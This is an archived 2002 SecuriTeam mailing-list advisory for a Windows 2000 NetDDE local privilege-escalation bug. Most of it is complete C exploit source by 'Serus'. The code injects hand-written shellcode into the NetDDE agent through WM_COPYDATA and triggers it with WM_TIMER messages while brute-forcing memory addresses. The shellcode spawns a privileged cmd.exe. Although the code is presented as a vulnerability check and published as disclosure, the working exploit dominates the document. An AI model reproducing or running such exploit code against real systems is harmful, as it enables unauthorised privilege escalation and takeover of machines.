

Securiteam: [EXPL] GetAd, NetDDE Exploit Code (WM_COPYDATA)

[EXPL] GetAd, NetDDE Exploit Code (WM_COPYDATA)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0080.html>

From: support@securiteam.com

Date: 10/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: 17 Oct 2002 16:32:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

GetAd, NetDDE Exploit Code (WM_COPYDATA)

SUMMARY

A security vulnerability in Windows's NetDDE allows local attackers to gain arbitrary privileges, this by causing the NetDDE to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable systems:

* Windows 2000 SP1-3

Exploit:

//

////////// Copyright © 2002 Serus //////////

//mailto:serus@users.mns.ru

//

//This program check system on winlogon bug present

//Only for Windows 2000

//This is for check use only!

//

Securiteam: [EXPL] GetAd, NetDDE Exploit Code (WM_COPYDATA)

```
#include <windows.h>
#include <stdio.h>

void main(int argc, char *argv[ ], char *envp[ ] )
{
    char *buf;
    DWORD Addr = 0;
    BOOL bExec = TRUE;

    unsigned char sc[] = { // my simple shellcode, it calls CreateProcess
function,
        // executes cmd.exe on user`s desktop and creates mutex.
        0x8B, 0xF4,
        0x68, 0x53, 0x45, 0x52, 0x00,
        0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00,
        0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6,
        0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00,
        0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44,
        0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69,
        0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00,
        0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C,
        0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08,
        0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
        0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4,
        0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3
    };

    HWND hWnd;
    COPYDATASTRUCT cds;
    HMODULE hMod;
    DWORD ProcAddr;
    HANDLE hMutex;
    char mutname[4];

    printf("\n\n==== GetAd by Serus (serus@users.mns.ru) =====");

    // Get NetDDE Window
    hWnd = FindWindow("NDDEAgnt", "NetDDE Agent");
    if(hWnd == NULL)
    {
        MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK |
MB_ICONSTOP);
        return;
    }

    // Get CreateProcessA and CreateMutexA entry addresses
    hMod = GetModuleHandle("kernel32.dll");
    ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA");

    if(ProcAddr == 0)
    {
```

Securiteam: [EXPL] GetAd, NetDDE Exploit Code (WM_COPYDATA)

```
    MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK
| MB_ICONSTOP);
    return;
}
*(DWORD*)(sc + 86 + 21) = ProcAddr;

ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA");
if(ProcAddr == 0)
{
    MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK
| MB_ICONSTOP);
    return;
}
*(DWORD*)(sc + 15) = ProcAddr;

//Generate random Mutex name
srand(GetTickCount());

do
{
    mutname[0] = 97 + rand()%25;
    mutname[1] = 65 + rand()%25;
    mutname[2] = 65 + rand()%25;
    mutname[3] = 0;
}
while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0);
memcpy(sc + 3, mutname, 4);

//Form buffer for SendMessage
buf = (char *)malloc(1000);
memset(buf, 0xC3, 1000);
memcpy(buf, sc, sizeof(sc));

cds.cbData = 1000;
cds.dwData = 0;
cds.lpData=(PVOID)buf;

//If first login
//Send shellcode buffer
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
//Try execute it at 0x0080FA78
PostMessage(hWnd, WM_TIMER, 1, (LPARAM)0x0080FA78);
printf("\n\nTrying at 0x%X", 0x0080FA78);

//If fails (perhaps not first login)
//Try to bruteforce shellcode addresss
for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
{
    //If mutex exists, shellcode has been executed
    if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
    {
```

Securiteam: [EXPL] GetAd, NetDDE Exploit Code (WM_COPYDATA)

```
//Success
printf("\nSuccess!!!\n");
printf("\nWarning! You system has vulnerability!\n");
CloseHandle(hMutex);
return;
}
printf("\rTrying at 0x%X", Addr);

SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
PostMessage(hWnd, WM_TIMER, 1, (LPARAM)Addr);
}

//Bug in winlogon not presents
printf("\n\nBad luck! Reboot and try again.\n\n");

}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:serus@users.mns.ru>> Serus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] SkyStream EMR5000 DVB Router DoS"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)